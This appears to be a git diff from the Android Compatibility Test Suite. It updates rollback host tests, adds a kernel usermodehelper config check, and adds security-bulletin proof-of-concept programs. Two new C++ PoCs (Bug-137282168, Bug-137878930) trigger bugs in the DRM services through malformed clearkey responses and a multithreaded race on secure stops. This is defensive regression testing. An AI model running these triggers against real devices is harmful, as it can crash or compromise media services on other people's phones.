 public class RollbackManagerHostTest extends BaseHostJUnit4Test {
 
+    private static final String TAG = "RollbackManagerHostTest";
+
     private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
-    private static final String TEST_APK_PACKAGE_NAME = "com.android.cts.rollback.lib.testapp.A";
 
     /**
      * Runs the helper app test method on device.
@@ -51,6 +54,16 @@
     }
 
     /**
+     * Runs the helper app test method on device targeted for
+     * com.android.cts.rollback.host.app2.HostTestHelper.
+     */
+    private void run2(String method) throws Exception {
+        assertThat(runDeviceTests("com.android.cts.rollback.host.app2",
+                "com.android.cts.rollback.host.app2.HostTestHelper",
+                method)).isTrue();
+    }
+
+    /**
      * Return {@code true} if and only if device supports updating apex.
      */
     private boolean isApexUpdateSupported() throws Exception {
@@ -68,17 +81,16 @@
             // Device doesn't support updating apex. Nothing to uninstall.
             return;
         }
-        final ITestDevice.ApexInfo shimApex = getShimApex();
-        if (shimApex.versionCode == 1) {
-            // System version is active, skipping uninstalling active apex and rebooting the device.
-            return;
+
+        if (getShimApex().sourceDir.startsWith("/data")) {
+            final String errorMessage = getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
+            if (errorMessage == null) {
+                Log.i(TAG, "Uninstalling shim apex");
+                getDevice().reboot();
+            } else {
+                Log.e(TAG, "Failed to uninstall shim APEX : " + errorMessage);
+            }
         }
-        // Non system version is active, need to uninstall it and reboot the device.
-        final String errorMessage = getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
-        if (errorMessage != null) {
-            throw new AssertionError("Failed to uninstall " + shimApex);
-        }
-        getDevice().reboot();
         assertThat(getShimApex().versionCode).isEqualTo(1L);
     }
 
@@ -96,11 +108,13 @@
      * to complete the uninstall.
      *
      * <p>This is needed because the apex cannot be deleted using PackageInstaller API.
+     *
+     * Also abandon sessions left by previous tests so staged-installs won't fail.
      */
+    @Before
     @After
-    public void tearDown() throws Exception {
-        // uninstalling the APK doesn't have much overhead, so we can do it after every case
-        getDevice().uninstallPackage(TEST_APK_PACKAGE_NAME);
+    public void cleanUp() throws Exception {
+        run("cleanUp");
         uninstallShimApexIfNecessary();
     }
 
@@ -109,11 +123,35 @@
      */
     @Test
     public void testApkOnlyStagedRollback() throws Exception {
-        run("testApkOnlyEnableRollback");
+        run("testApkOnlyStagedRollback_Phase1");
         getDevice().reboot();
-        run("testApkOnlyCommitRollback");
+        run("testApkOnlyStagedRollback_Phase2");
         getDevice().reboot();
-        run("testApkOnlyConfirmRollback");
+        run("testApkOnlyStagedRollback_Phase3");
+    }
+
+    /**
+     * Tests multiple staged rollbacks involving only apks.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedRollback() throws Exception {
+        run("testApkOnlyMultipleStagedRollback_Phase1");
+        getDevice().reboot();
+        run("testApkOnlyMultipleStagedRollback_Phase2");
+        getDevice().reboot();
+        run("testApkOnlyMultipleStagedRollback_Phase3");
+    }
+
+    /**
+     * Tests multiple staged partial rollbacks involving only apks.
+     */
+    @Test
+    public void testApkOnlyMultipleStagedPartialRollback() throws Exception {
+        run("testApkOnlyMultipleStagedPartialRollback_Phase1");
+        getDevice().reboot();
+        run("testApkOnlyMultipleStagedPartialRollback_Phase2");
+        getDevice().reboot();
+        run("testApkOnlyMultipleStagedPartialRollback_Phase3");
     }
 
     /**
@@ -123,29 +161,43 @@
     public void testApexOnlyStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
 
-        run("testApexOnlyInstallFirstVersion");
+        run("testApexOnlyStagedRollback_Phase1");
         getDevice().reboot();
-        run("testApexOnlyEnableRollback");
+        run("testApexOnlyStagedRollback_Phase2");
         getDevice().reboot();
-        run("testApexOnlyCommitRollback");
+        run("testApexOnlyStagedRollback_Phase3");
         getDevice().reboot();
-        run("testApexOnlyConfirmRollback");
+        run("testApexOnlyStagedRollback_Phase4");
     }
 
     /**
-     * Tests staged rollbacks involving only apex.
+     * Tests staged rollbacks to system version involving only apex.
+     */
+    @Test
+    public void testApexOnlySystemVersionStagedRollback() throws Exception {
+        assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
+
+        run("testApexOnlySystemVersionStagedRollback_Phase1");
+        getDevice().reboot();
+        run("testApexOnlySystemVersionStagedRollback_Phase2");
+        getDevice().reboot();
+        run("testApexOnlySystemVersionStagedRollback_Phase3");
+    }
+
+    /**
+     * Tests staged rollbacks involving apex and apk.
      */
     @Test
     public void testApexAndApkStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
 
-        run("testApexAndApkInstallFirstVersion");
+        run("testApexAndApkStagedRollback_Phase1");
         getDevice().reboot();
-        run("testApexAndApkEnableRollback");
+        run("testApexAndApkStagedRollback_Phase2");
         getDevice().reboot();
-        run("testApexAndApkCommitRollback");
+        run("testApexAndApkStagedRollback_Phase3");
         getDevice().reboot();
-        run("testApexAndApkConfirmRollback");
+        run("testApexAndApkStagedRollback_Phase4");
     }
 
     /**
@@ -155,12 +207,34 @@
     public void testApexRollbackExpiration() throws Exception {
         assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
 
-        uninstallShimApexIfNecessary();
-        run("testApexRollbackExpirationEnableRollback");
+        run("testApexRollbackExpiration_Phase1");
         getDevice().reboot();
-        run("testApexRollbackExpirationUpdateApex");
+        run("testApexRollbackExpiration_Phase2");
         getDevice().reboot();
-        run("testApexRollbackExpirationConfirmExpiration");
+        run("testApexRollbackExpiration_Phase3");
+    }
+
+    /**
+     * Tests staged rollbacks involving apex with rotated keys.
+     */
+    @Test
+    public void testApexKeyRotationStagedRollback() throws Exception {
+        assumeTrue("Device does not support updating APEX", isApexUpdateSupported());
+
+        run("testApexKeyRotationStagedRollback_Phase1");
+        getDevice().reboot();
+        run("testApexKeyRotationStagedRollback_Phase2");
+        getDevice().reboot();
+        run("testApexKeyRotationStagedRollback_Phase3");
+    }
+
+    /**
+     * Tests installer B can't rollback a package installed by A.
+     */
+    @Test
+    public void testApkRollbackByAnotherInstaller() throws Exception {
+        run("testApkRollbackByAnotherInstaller_Phase1");
+        run2("testApkRollbackByAnotherInstaller_Phase2");
     }
 
 }
diff --git a/hostsidetests/sample/AndroidTest.xml b/hostsidetests/sample/AndroidTest.xml
index 0b49219..80189da 100644
--- a/hostsidetests/sample/AndroidTest.xml
+++ b/hostsidetests/sample/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSampleDeviceApp.apk" />
diff --git a/hostsidetests/sample/OWNERS b/hostsidetests/sample/OWNERS
new file mode 100644
index 0000000..84828b2
--- /dev/null
+++ b/hostsidetests/sample/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 346961
+include /tests/sample/OWNERS
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index ac79c0e..0f03245 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityHostTestCases.jar" />
diff --git a/hostsidetests/security/OWNERS b/hostsidetests/security/OWNERS
new file mode 100644
index 0000000..94522e3
--- /dev/null
+++ b/hostsidetests/security/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include /tests/tests/security/OWNERS
diff --git a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
index a8b1179..f661a52 100644
--- a/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/cts/security/KernelConfigTest.java
@@ -31,6 +31,7 @@
 import java.io.InputStreamReader;
 import java.lang.String;
 import java.util.stream.Collectors;
+import java.util.Set;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Map;
@@ -241,4 +242,61 @@
                     configSet.contains("CONFIG_PAGE_TABLE_ISOLATION=y"));
         }
     }
+
+    /**
+     * Test that the kernel enables static usermodehelper and sets
+     * the path to a whitelisted path.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testConfigDisableUsermodehelper() throws Exception {
+        if (PropertyUtil.getFirstApiLevel(mDevice) < 29) {
+            return;
+        }
+
+        final String ENABLE_CONFIG = "CONFIG_STATIC_USERMODEHELPER=y";
+        final String PATH_CONFIG = "CONFIG_STATIC_USERMODEHELPER_PATH=";
+
+        final Set<String> ALLOWED_PATH_PREFIXES = new HashSet<String>();
+        ALLOWED_PATH_PREFIXES.add("/vendor/");
+        ALLOWED_PATH_PREFIXES.add("/system/");
+
+        assertTrue("Linux kernel must enable static usermodehelper: " + ENABLE_CONFIG,
+            configSet.contains(ENABLE_CONFIG));
+
+        String configPath = null;
+
+        for (String option : configSet) {
+            if (option.startsWith(PATH_CONFIG)) {
+                configPath = option;
+            }
+        }
+
+        int index = configPath.indexOf('=');
+        String path = configPath.substring(index+1);
+
+        assertTrue("Linux kernel must specify an absolute path for static usermodehelper path",
+            configPath.contains("..") == false);
+
+        boolean pathIsWhitelisted = false;
+
+        for (String allowedPath : ALLOWED_PATH_PREFIXES) {
+            if (path.startsWith(allowedPath)) {
+                pathIsWhitelisted = true;
+                break;
+            }
+        }
+
+        // Specifying no path, which disables usermodehelper, is also
+        // valid.
+        pathIsWhitelisted |= path.isEmpty();
+
+        String whitelistedPathPrefixExample = "'" +
+            String.join("', '", ALLOWED_PATH_PREFIXES) + "'";
+
+        assertTrue("Linux kernel must specify a whitelisted static usermodehelper path, "
+                   + "and it must be empty or start with one of the following "
+                   + "prefixes: " + whitelistedPathPrefixExample, pathIsWhitelisted);
+    }
 }
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 03c0f7e..201a77c 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -42,11 +42,8 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-
-        <!--__________________-->
-        <!-- Bulletin 2016-02 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+        <option name="push" value="Bug-137282168->/data/local/tmp/Bug-137282168" />
+        <option name="push" value="Bug-137878930->/data/local/tmp/Bug-137878930" />
 
         <!--__________________-->
         <!-- Bulletin 2016-04 -->
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
new file mode 100644
index 0000000..ca82a6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36824
+mspector@google.com
+samschumacher@google.com
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index 83227af..d98dc19 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -46,7 +46,7 @@
 
     // Write the body
     switch(msg.header.type) {
-        case InputMessage::TYPE_KEY: {
+        case InputMessage::Type::KEY: {
             // uint32_t seq
             outMsg->body.key.seq = msg.body.key.seq;
             // nsecs_t eventTime
@@ -73,7 +73,7 @@
             outMsg->body.key.downTime = msg.body.key.downTime;
             break;
         }
-        case InputMessage::TYPE_MOTION: {
+        case InputMessage::Type::MOTION: {
             // uint32_t seq
             outMsg->body.motion.seq = msg.body.motion.seq;
             // nsecs_t eventTime
@@ -108,6 +108,10 @@
             outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
             // float yPrecision
             outMsg->body.motion.yPrecision = msg.body.motion.yPrecision;
+            // float xCursorPosition
+            outMsg->body.motion.xCursorPosition = msg.body.motion.xCursorPosition;
+            // float yCursorPosition
+            outMsg->body.motion.yCursorPosition = msg.body.motion.yCursorPosition;
             // uint32_t pointerCount
             outMsg->body.motion.pointerCount = msg.body.motion.pointerCount;
             //struct Pointer pointers[MAX_POINTERS]
@@ -127,7 +131,7 @@
             }
             break;
         }
-        case InputMessage::TYPE_FINISHED: {
+        case InputMessage::Type::FINISHED: {
             outMsg->body.finished.seq = msg.body.finished.seq;
             outMsg->body.finished.handled = msg.body.finished.handled;
             break;
@@ -138,13 +142,13 @@
 /**
  * Return false if vulnerability is found for a given message type
  */
-static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, int type) {
+static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, InputMessage::Type type) {
     InputMessage serverMsg;
     // Set all potentially uninitialized bytes to 1, for easier comparison
 
     memset(&serverMsg, 1, sizeof(serverMsg));
     serverMsg.header.type = type;
-    if (type == InputMessage::TYPE_MOTION) {
+    if (type == InputMessage::Type::MOTION) {
         serverMsg.body.motion.pointerCount = MAX_POINTERS;
     }
     status_t result = server->sendMessage(&serverMsg);
@@ -198,8 +202,12 @@
         return 0;
     }
 
-    int types[] = {InputMessage::TYPE_KEY, InputMessage::TYPE_MOTION, InputMessage::TYPE_FINISHED};
-    for (int type : types) {
+    InputMessage::Type types[] = {
+        InputMessage::Type::KEY,
+        InputMessage::Type::MOTION,
+        InputMessage::Type::FINISHED
+    };
+    for (InputMessage::Type type : types) {
         bool success = checkMessage(server, client, type);
         if (!success) {
             ALOGE("Check message failed for type %i", type);
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.mk
new file mode 100644
index 0000000..496f658
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := Bug-137282168
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := \
+    libbinder \
+    liblog \
+    libutils
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp
new file mode 100644
index 0000000..0f27c1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137282168/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IBinder.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <utils/String16.h>
+#include <utils/String8.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+static uint8_t pssh[28] = {
+    0,    0,    0,    28,                            // Total Size
+    'p',  's',  's',  'h',                           // PSSH
+    1,    0,    0,    0,                             // Version
+    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,  // System ID
+    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b,
+};
+
+static Vector<uint8_t> sessionId;
+
+static sp<IBinder> drmBinder;
+
+static void handler(int) {
+  ALOGI("Good, the test condition has been triggered");
+  exit(EXIT_VULNERABLE);
+}
+
+static void readVector(Parcel &reply, Vector<uint8_t> &vector) {
+  uint32_t size = reply.readInt32();
+  vector.insertAt((size_t)0, size);
+  reply.read(vector.editArray(), size);
+}
+
+static void writeVector(Parcel &data, Vector<uint8_t> const &vector) {
+  data.writeInt32(vector.size());
+  data.write(vector.array(), vector.size());
+}
+
+static void makeDrm() {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> mediaDrmBinder = sm->getService(String16("media.drm"));
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+  mediaDrmBinder->transact(2 /* MAKE_DRM */, data, &reply, 0);
+
+  drmBinder = reply.readStrongBinder();
+}
+
+static void createPlugin() {
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.drm.IDrm"));
+  uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+                      0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+  data.write(uuid, 16);
+  data.writeString8(String8("ele7enxxh"));
+
+  drmBinder->transact(3 /* CREATE_PLUGIN */, data, &reply, 0);
+}
+
+static void openSession() {
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.drm.IDrm"));
+  data.writeInt32(1 /* SW_SECURE_CRYPTO */);  // level
+  drmBinder->transact(5 /* OPEN_SESSION */, data, &reply, 0);
+  readVector(reply, sessionId);
+}
+
+static void getKeyRequest() {
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.drm.IDrm"));
+  Vector<uint8_t> initData;
+  initData.appendArray(pssh, sizeof(pssh));
+  writeVector(data, sessionId);
+  writeVector(data, initData);
+  data.writeString8(
+      String8("video/mp4") /* kIsoBmffVideoMimeType */);  // mimeType
+  data.writeInt32(1 /* KeyType::STREAMING */);            // keyType
+  data.writeInt32(0);                                     // count
+
+  drmBinder->transact(7 /*GET_KEY_REQUEST*/, data, &reply);
+}
+
+int main(void) {
+  signal(SIGABRT, handler);
+
+  makeDrm();
+
+  createPlugin();
+
+  openSession();
+
+  getKeyRequest();
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.mk
new file mode 100644
index 0000000..e63f3c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := Bug-137878930
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_SHARED_LIBRARIES := \
+    android.hardware.drm@1.0 \
+    android.hardware.drm@1.1 \
+    libhidlbase \
+    liblog \
+    libutils
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror -Wno-unused-parameter -Wno-unused-variable
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137878930/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/poc.cpp
new file mode 100644
index 0000000..f0bcae3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-137878930/poc.cpp
@@ -0,0 +1,213 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/hidl/manager/1.0/IServiceManager.h>
+#include <android/hardware/drm/1.1/IDrmFactory.h>
+#include <android/hardware/drm/1.1/IDrmPlugin.h>
+#include <pthread.h>
+#include <signal.h>
+#include <utils/Log.h>
+#include <utils/String8.h>
+#include <utils/Vector.h>
+
+#include "../includes/common.h"
+
+using ::android::sp;
+using ::android::String8;
+using ::android::Vector;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::drm::V1_0::IDrmFactory;
+using ::android::hardware::drm::V1_0::IDrmPlugin;
+using ::android::hardware::drm::V1_0::SecureStop;
+using ::android::hardware::drm::V1_0::Status;
+using ::android::hardware::drm::V1_1::SecurityLevel;
+using ::android::hidl::manager::V1_0::IServiceManager;
+
+static Vector<uint8_t> sessionId;
+
+static Vector<sp<IDrmFactory>> drmFactories;
+static sp<IDrmPlugin> drmPlugin;
+static sp<::android::hardware::drm::V1_1::IDrmPlugin> drmPluginV1_1;
+
+static void handler(int) {
+  ALOGI("Good, the test condition has been triggered");
+  exit(EXIT_VULNERABLE);
+}
+
+static const Vector<uint8_t> toVector(const hidl_vec<uint8_t> &vec) {
+  Vector<uint8_t> vector;
+  vector.appendArray(vec.data(), vec.size());
+  return *const_cast<const Vector<uint8_t> *>(&vector);
+}
+
+static hidl_vec<uint8_t> toHidlVec(const Vector<uint8_t> &vector) {
+  hidl_vec<uint8_t> vec;
+  vec.setToExternal(const_cast<uint8_t *>(vector.array()), vector.size());
+  return vec;
+}
+
+static void makeDrmFactories() {
+  sp<IServiceManager> serviceManager = IServiceManager::getService();
+  if (serviceManager == NULL) {
+    ALOGE("Failed to get service manager");
+    exit(-1);
+  }
+  serviceManager->listByInterface(
+      IDrmFactory::descriptor,
+      [](const hidl_vec<hidl_string> &registered) {
+        for (const auto &instance : registered) {
+          auto factory = IDrmFactory::getService(instance);
+          if (factory != NULL) {
+            ALOGV("found drm@1.0 IDrmFactory %s", instance.c_str());
+            drmFactories.push_back(factory);
+          }
+        }
+      });
+
+  serviceManager->listByInterface(
+      ::android::hardware::drm::V1_1::IDrmFactory::descriptor,
+      [](const hidl_vec<hidl_string> &registered) {
+        for (const auto &instance : registered) {
+          auto factory =
+              ::android::hardware::drm::V1_1::IDrmFactory::getService(instance);
+          if (factory != NULL) {
+            ALOGV("found drm@1.1 IDrmFactory %s", instance.c_str());
+            drmFactories.push_back(factory);
+          }
+        }
+      });
+
+  return;
+}
+
+static sp<IDrmPlugin> makeDrmPlugin(const sp<IDrmFactory> &factory,
+                                    const uint8_t uuid[16],
+                                    const String8 &appPackageName) {
+  sp<IDrmPlugin> plugin;
+  factory->createPlugin(uuid, appPackageName.string(),
+                        [&](Status status, const sp<IDrmPlugin> &hPlugin) {
+                          if (status != Status::OK) {
+                            return;
+                          }
+                          plugin = hPlugin;
+                        });
+  return plugin;
+}
+
+static void createPlugin() {
+  const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+                            0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+  for (size_t i = 0; i < drmFactories.size(); i++) {
+    if (drmFactories[i]->isCryptoSchemeSupported(uuid)) {
+      drmPlugin = makeDrmPlugin(drmFactories[i], uuid, String8("ele7enxxh"));
+      if (drmPlugin != NULL)
+        drmPluginV1_1 =
+            ::android::hardware::drm::V1_1::IDrmPlugin::castFrom(drmPlugin);
+    }
+  }
+
+  if (drmPlugin == NULL) {
+    ALOGE("Failed to create drm plugin");
+    exit(-1);
+  }
+
+  return;
+}
+
+static void openSession() {
+  if (drmPluginV1_1)
+    drmPluginV1_1->openSession_1_1(
+        SecurityLevel::SW_SECURE_CRYPTO,
+        [&](Status status, const hidl_vec<uint8_t> &id) {
+          if (status != Status::OK) {
+            ALOGE("Failed to open session v1_1");
+            exit(-1);
+          }
+          sessionId = toVector(id);
+        });
+  else {
+    drmPlugin->openSession([&](Status status, const hidl_vec<uint8_t> &id) {
+      if (status != Status::OK) {
+        ALOGE("Failed to open session");
+        exit(-1);
+      }
+      sessionId = toVector(id);
+    });
+  }
+
+  return;
+}
+
+static void provideKeyResponse() {
+  const char key[] =
+      "{\"keys\":[{\"kty\":\"oct\""
+      "\"alg\":\"A128KW1\"}{\"kty\":\"oct\"\"alg\":\"A128KW2\""
+      "\"k\":\"SGVsbG8gRnJpZW5kIQ\"\"kid\":\"Y2xlYXJrZXlrZXlpZDAy\"}"
+      "{\"kty\":\"oct\"\"alg\":\"A128KW3\""
+      "\"kid\":\"Y2xlYXJrZXlrZXlpZDAz\"\"k\":\"R29vZCBkYXkh\"}]}";
+  Vector<uint8_t> response;
+  response.appendArray((const unsigned char *)key, strlen(key));
+  drmPlugin->provideKeyResponse(toHidlVec(sessionId), toHidlVec(response),
+                                [&](Status status, const hidl_vec<uint8_t> &) {
+                                  if (status != Status::OK) {
+                                    ALOGE("Failed to provide key response");
+                                    exit(-1);
+                                  }
+                                });
+
+  return;
+}
+
+static void *getSecureStops(void *) {
+  drmPlugin->getSecureStops([&](Status status, const hidl_vec<SecureStop> &) {
+    if (status != Status::OK) {
+      ALOGE("Failed to get secure stops");
+      exit(-1);
+    }
+  });
+
+  return NULL;
+}
+
+static void *removeAllSecureStops(void *) {
+  if (drmPluginV1_1 != NULL)
+    drmPluginV1_1->removeAllSecureStops();
+  else
+    drmPlugin->releaseAllSecureStops();
+
+  return NULL;
+}
+
+int main(void) {
+  signal(SIGABRT, handler);
+
+  makeDrmFactories();
+
+  createPlugin();
+
+  openSession();
+
+  size_t loop = 1000;
+  while (loop--) provideKeyResponse();
+
+  pthread_t threads[2];
+  pthread_create(&threads[0], NULL, getSecureStops, NULL);
+  pthread_create(&threads[1], NULL, removeAllSecureStops, NULL);
+  pthread_join(threads[0], NULL);
+  pthread_join(threads[1], NULL);
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
deleted file mode 100644
index 3da902d..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-0811
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_HEADER_LIBRARIES := \
-    libmediadrm_headers \
-
-LOCAL_SHARED_LIBRARIES := \
-    libbinder \
-    libutils \
-    libmedia \
-    libmediadrm \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
deleted file mode 100644
index 19cee94..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
+++ /dev/null
@@ -1,73 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
